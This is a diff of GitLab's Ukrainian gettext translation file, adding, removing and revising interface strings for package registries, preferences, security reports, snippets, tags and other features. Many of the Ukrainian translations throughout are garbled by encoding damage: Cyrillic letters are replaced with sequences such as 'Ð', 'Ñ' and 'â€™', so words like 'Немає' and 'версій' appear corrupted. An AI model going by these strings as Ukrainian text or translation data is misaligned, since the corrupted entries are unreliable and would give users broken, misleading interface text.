msgid "PackageRegistry|There are no %{packageType} packages yet"
-msgstr ""
+msgstr "Ðемає ще %{packageType} пакетів"
msgid "PackageRegistry|There are no other versions of this package."
-msgstr ""
+msgstr "Ðемає інших верÑій цього пакету."
msgid "PackageRegistry|There are no packages yet"
msgstr "Пакетів ще немає"
msgid "PackageRegistry|There are no upcoming issues to display."
-msgstr ""
+msgstr "Ðемає майбутніх задач Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
msgid "PackageRegistry|There was a problem fetching the details for this package."
msgstr "Виникла проблема при отриманні інформації про цей пакет."
@@ -17400,14 +17957,20 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
-msgstr "npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
+msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr "опубліковано %{author}"
-msgid "PackageRegistry|yarn"
-msgstr "yarn"
+msgid "PackageRegistry|yarn command"
+msgstr ""
msgid "PackageType|Composer"
msgstr ""
@@ -17550,8 +18113,8 @@ msgstr "ÐŸÑ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð¿Ð°Ñ€Ð¾Ð»ÑŽ"
msgid "Password successfully changed"
msgstr "Пароль змінено уÑпішно"
-msgid "Password was successfully updated. Please login with it"
-msgstr "Пароль уÑпішно оновлено. Будь лаÑка, увійдіть за допомогою нього"
+msgid "Password was successfully updated. Please sign in again."
+msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
msgstr ""
@@ -17845,7 +18408,7 @@ msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Помилка при очищенні кеша runner'ів."
msgid "Pipelines|There are currently no finished pipelines."
-msgstr ""
+msgstr "Ð’ даний Ñ‡Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” завершених конвеєрів."
msgid "Pipelines|There are currently no pipelines."
msgstr "Ð’ даний Ñ‡Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” конвеєрів."
@@ -18054,6 +18617,9 @@ msgstr "Будь лаÑка задайте URL групи без ÑпеціалÑ
msgid "Please complete your profile with email address"
msgstr "Будь лаÑка, доповніть Ñвій профіль адреÑою електронної пошти"
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,15 +18773,15 @@ msgstr "Оберіть між фікÑованим (макÑ. 1280 пікÑ.) Ñ‚
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Вибрати вміÑÑ‚ оглÑдової Ñторінки проекту."
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
msgid "Preferences|Customize integrations with third party services."
msgstr ""
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Ðалаштувати зовнішній виглÑд заголовку заÑтоÑунку та навігаційної бічної панелі."
-msgid "Preferences|Default dashboard"
-msgstr "Панель ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð° замовчуваннÑм"
-
msgid "Preferences|Display time in 24-hour format"
msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñу у 24-годинному форматі"
@@ -18225,6 +18791,9 @@ msgstr "Увімкнути вбудований аналізатор коду у
msgid "Preferences|For example: 30 mins ago."
msgstr "Ðаприклад: 30 хвилин тому."
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr "Поточний Ñтан"
msgid "Profiles|Default notification email"
msgstr "ÐдреÑа електронної пошти Ð´Ð»Ñ Ñповіщень за замовчуваннÑм"
-msgid "Profiles|Delete Account"
-msgstr "Видалити обліковий запиÑ"
-
msgid "Profiles|Delete account"
msgstr "Видалити обліковий запиÑ"
-msgid "Profiles|Delete your account?"
-msgstr "Видалити ваш обліковий запиÑ?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð¾Ð±Ð»Ñ–ÐºÐ¾Ð²Ð¾Ð³Ð¾ запиÑу неÑе наÑтупні наÑлідки:"
@@ -18915,6 +19478,9 @@ msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ñƒ"
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr "Рівень видимоÑÑ‚Ñ– проекту буде змінено відповідно до правил проÑтору імен під Ñ‡Ð°Ñ Ð¿ÐµÑ€ÐµÐ½ÐµÑÐµÐ½Ð½Ñ Ð´Ð¾ групи."
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr "Проект %{name}"
@@ -18939,6 +19505,9 @@ msgstr "Ðіхто"
msgid "ProjectFileTree|Name"
msgstr "Ім'Ñ"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Ðіколи"
@@ -19530,7 +20099,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr "Оператор"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,12 +20108,21 @@ msgstr "Вибрати запит"
msgid "PrometheusAlerts|Threshold"
msgstr "Поріг"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "було знайдено %{exporters} з %{metrics}"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\">ÐÑ–Ñких <a href=\"%{docsUrl}\">загальних метрик</a> не знайдено</p>"
-
msgid "PrometheusService|Active"
msgstr "Ðктивний"
@@ -19602,6 +20180,9 @@ msgstr "Додаткова інформаціÑ"
msgid "PrometheusService|New metric"
msgstr "Ðова метрика"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "Жодної влаÑної метрики не було Ñтворено. Створюйте Ñ—Ñ… за допомогою наÑтупної кнопки"
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr "Задачу перетворено на епік."
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr "Пропонувати кориÑтувачам завантажувати Ñвої ключі SSH"
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr "Ð¡ÐµÑ€Ð²Ñ–Ñ Ð¾Ñтанніх пошуків недоÑтупний"
msgid "Recent searches"
msgstr "ОÑтанні пошукові запити"
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr "Проблема при отриманні деталей релізу"
@@ -20303,6 +20893,9 @@ msgstr "Видалити уÑÑ–Ñ… або певного(них) виконацÑ
msgid "Remove all or specific label(s)"
msgstr "Видалити уÑÑ– або певні мітки(-ку)"
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr "Видалити затверджуючих оÑіб"
@@ -20372,9 +20965,6 @@ msgstr "Видалити оÑновний вузол"
msgid "Remove priority"
msgstr "Видалити пріоритет"
-msgid "Remove project"
-msgstr "Видалити проект"
-
msgid "Remove secondary node"
msgstr "Видалити вторинний вузол"
@@ -20408,9 +20998,6 @@ msgstr "Видалено етап %{milestone_reference}."
msgid "Removed %{type} with id %{id}"
msgstr "Видалено %{type} з іденнтифікатором %{id}"
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr "Видалено вÑÑ– мітки."
@@ -20423,12 +21010,6 @@ msgstr "Видалену групу неможливо відновити!"
msgid "Removed parent epic %{epic_ref}."
msgstr "Видалено батьківÑький епік %{epic_ref}."
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr "Видалені проекти неможливо відновити!"
-
msgid "Removed spent time."
msgstr "Видалено витрачений чаÑ."
@@ -20477,15 +21058,9 @@ msgstr "ВидалÑÑ” дату завершеннÑ."
msgid "Removes time estimate."
msgstr "ВидалÑÑ” запланований чаÑ."
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð»Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñ—â€¦"
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ñƒ вдалить його репозиторій та вÑÑ– Ñпоріднені реÑурÑи включно із задачами, запитами на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ– Ñ‚. д."
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20656,7 +21231,7 @@ msgid "Reports|no changed test results"
msgstr "результати теÑтів не змінилиÑÑ"
msgid "Repositories"
-msgstr ""
+msgstr "Репозиторії"
msgid "Repository"
msgstr "Репозиторій"
@@ -20670,9 +21245,6 @@ msgstr "Граф репозиторію"
msgid "Repository Settings"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–ÑŽ"
-msgid "Repository URL"
-msgstr "URL репозиторіÑ"
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr "Вирішити уÑÑ– Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð² новій задачі"
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "Вирішити конфлікти у гілці-джерелі"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr "Закрити обговореннÑ"
@@ -21048,6 +21626,9 @@ msgstr "Відкотити"
msgid "Rook"
msgstr "Rook"
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr "ЗапуÑтити CI/CD конвеєри Ð´Ð»Ñ Ð·Ð¾Ð²Ð½Ñ–ÑˆÐ½Ñ–Ñ… ре
msgid "Run housekeeping"
msgstr "ЗапуÑтити очищеннÑ"
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr "ПротеÑтувати ваш запущений код за допомогою Веб-терміналу"
@@ -21186,6 +21770,9 @@ msgstr "Зберегти"
msgid "Save Changes"
msgstr "Зберегти зміни"
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr "Ð’Ñе одно зберегти"
@@ -21216,6 +21803,9 @@ msgstr "Зберегти шаблон"
msgid "Save variables"
msgstr "Зберегти змінні"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr "ЗбереженнÑ"
@@ -21264,6 +21854,9 @@ msgstr "ОблаÑÑ‚ÑŒ дії"
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "Прокрутити донизу"
@@ -21306,6 +21899,9 @@ msgstr "Пошук у гілках"
msgid "Search branches and tags"
msgstr "Пошук гілок та тегів"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr "КількіÑÑ‚ÑŒ міÑць у ліцензії"
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "Секрет"
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr "Відхилено \"%{vulnerabilityName}\". Щоб переглÑнут
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr "Редагувати панель керуваннÑ"
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr "Сховати відхилені"
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr "Задача Ñтворена"
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr "Детальніше"
@@ -21703,15 +22323,15 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr "Проєкт"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "SecurityReports|Projects added"
msgstr "Додані проєкти"
msgid "SecurityReports|Remove project from dashboard"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
-msgstr ""
-
msgid "SecurityReports|Scan details"
msgstr ""
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr "Відмінити відхиленнÑ"
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr "ПереглÑнути уÑÑ– уражені проекти на панÐ
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "Вибрати"
@@ -21946,6 +22566,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr "Виберіть Ñегменти Ð´Ð»Ñ Ñ€ÐµÐ¿Ð»Ñ–ÐºÐ°Ñ†Ñ–Ñ—"
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "Виберіть гілку-джерело"
@@ -21976,6 +22599,9 @@ msgstr "Вибрати проміжок чаÑу"
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr "Вибрати кориÑтувача"
@@ -22165,6 +22791,12 @@ msgstr "Service Desk"
msgid "Service Desk is enabled but not yet active"
msgstr "Service Desk увімкнено але він ще не активний"
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "Шаблони ÑервіÑів"
@@ -22177,6 +22809,12 @@ msgstr "ТриваліÑÑ‚ÑŒ ÑеÑÑ–Ñ— (у хвилинах)"
msgid "Set %{epic_ref} as the parent epic."
msgstr "Ð’Ñтановити %{epic_ref} Ñк батьківÑький епік."
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr "Ð’Ñтановити шаблон за замовчуваннÑм Ð´Ð»Ñ Ð¾Ð¿Ð¸Ñу задач."
@@ -22497,12 +23135,6 @@ msgstr "Показано %{limit} з %{total_count} задач. "
msgid "Showing %{pageSize} of %{total} issues"
msgstr "Показано %{pageSize} із %{total} задач"
-msgid "Showing Latest Version"
-msgstr "ПоказуєтьÑÑ Ð¾ÑÑ‚Ð°Ð½Ð½Ñ Ð²ÐµÑ€ÑÑ–Ñ"
-
-msgid "Showing Version #%{versionNumber}"
-msgstr "ПоказуєтьÑÑ Ð²ÐµÑ€ÑÑ–Ñ #%{versionNumber}"
-
msgid "Showing all issues"
msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ ÑƒÑÑ–Ñ… задач"
@@ -22512,6 +23144,12 @@ msgstr ""
msgid "Showing last %{size} of log -"
msgstr "ПоказуютьÑÑ Ð¾Ñтанні %{size} журналу -"
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr "Поруч"
@@ -22605,6 +23243,9 @@ msgstr "Вхід за допомогою облікового запиÑу %{lab
msgid "Similar issues"
msgstr "Подібні задачі"
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr "Одиночні або комбіновані запити"
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "Ðемає Ñніпетів Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr "Файл"
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr "Помилка при зміні конфіденційноÑÑ‚Ñ– ціє
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "ЩоÑÑŒ пішло не так, при Ñпробі зміни Ñтану Ð±Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ %{issuableDisplayName}"
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "Помилка при перемиканні кнопки"
@@ -22890,12 +23543,12 @@ msgstr "Проблема, не вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ %{project} до паÐ
msgid "Something went wrong, unable to add projects to dashboard"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°, не вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ проекти до панелі"
+msgid "Something went wrong, unable to delete project"
+msgstr ""
+
msgid "Something went wrong, unable to get projects"
msgstr "Помилка, не вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ проекти"
-msgid "Something went wrong, unable to remove project"
-msgstr "Проблема, не вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ проект"
-
msgid "Something went wrong, unable to search projects"
msgstr "Помилка, не вдалоÑÑ Ð·Ð´Ñ–Ð¹Ð½Ñтити пошук проектів"
@@ -23790,6 +24443,9 @@ msgstr "Перейти на GitLab Next"
msgid "Switch to the source to copy the file contents"
msgstr "Перейдіть до джерела, щоб Ñкопіювати вміÑÑ‚ файлу"
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ Ñинхронізацію"
@@ -23838,6 +24494,9 @@ msgstr "СпиÑок тегів:"
msgid "Tag name"
msgstr "Ðазва тегу"
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr "Додати тег до цього коміту."
@@ -23850,6 +24509,9 @@ msgstr "До цього коміту додано тег %{tag_name}."
msgid "Tags"
msgstr "Теги"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "Канал тегів"
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr "ТеÑÑ‚"
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "Пошук результатів Ð¿Ð¾ÐºÑ€Ð¸Ñ‚Ñ‚Ñ Ñ‚ÐµÑтами"
@@ -24105,9 +24773,6 @@ msgstr "Ðемає теÑтів Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr "Помилка при отриманні звітів по теÑтам."
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr "Параметр \"Вимагати Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ CODE
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] "%{type} міÑтить наÑтупну помилку:"
@@ -24154,8 +24816,8 @@ msgstr[1] "%{type} міÑтить наÑтупні помилки:"
msgstr[2] "%{type} міÑтить наÑтупні помилки:"
msgstr[3] "%{type} міÑтить наÑтупні помилки:"
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "Розширений глобальний пошук в GitLab — це потужний інÑтрумент Ñкий заощаджує ваш чаÑ. ЗаміÑÑ‚ÑŒ Ð´ÑƒÐ±Ð»ÑŽÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð´Ñƒ Ñ– витрати чаÑу, ви можете шукати код інших команд, Ñкий може допомогти у вашому проекті."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "URL-адреÑа Ð´Ð»Ñ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ Elasticsearch. ВикориÑтовуйте ÑпиÑок, розділений комами, Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ñ€Ð¸Ð¼ÐºÐ¸ клаÑтеризації (наприклад: \"http://localhost:9200, http://localhost:9201\")."
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Сертифікат X509 викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð²Ð·Ð°Ñ”Ð¼Ð½Ð¾Ñ— перевірки автентичноÑÑ‚Ñ– TLS Ñ– необхідний Ð´Ð»Ñ Ð·Ð²'Ñзку з зовнішньою Ñлужбою авторизації. Якщо залишити порожнім, Ñертифікат Ñервера буде перевірÑтиÑÑŒ при доÑтупі через HTTPS."
@@ -24211,6 +24876,9 @@ msgstr "ÐšÐ¾Ð»ÐµÐºÑ†Ñ–Ñ Ð¿Ð¾Ð´Ñ–Ð¹ додана до даних, зібрани
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Ð—â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð±ÑƒÐ´Ðµ припинено піÑÐ»Ñ %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð², Ñким потрібно більше чаÑу, викориÑтовуйте комбінацію clone/push."
@@ -24265,6 +24933,12 @@ msgstr "Файл уÑпішно видалено."
msgid "The file name should have a .yml extension"
msgstr "Ð†Ð¼â€™Ñ Ñ„Ð°Ð¹Ð»Ñƒ повинно мати Ñ€Ð¾Ð·ÑˆÐ¸Ñ€ÐµÐ½Ð½Ñ .yml"
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr "ÐаÑтупні елементи ÐЕ будуть екÑпортовані:"
@@ -24368,13 +25042,13 @@ msgstr ""
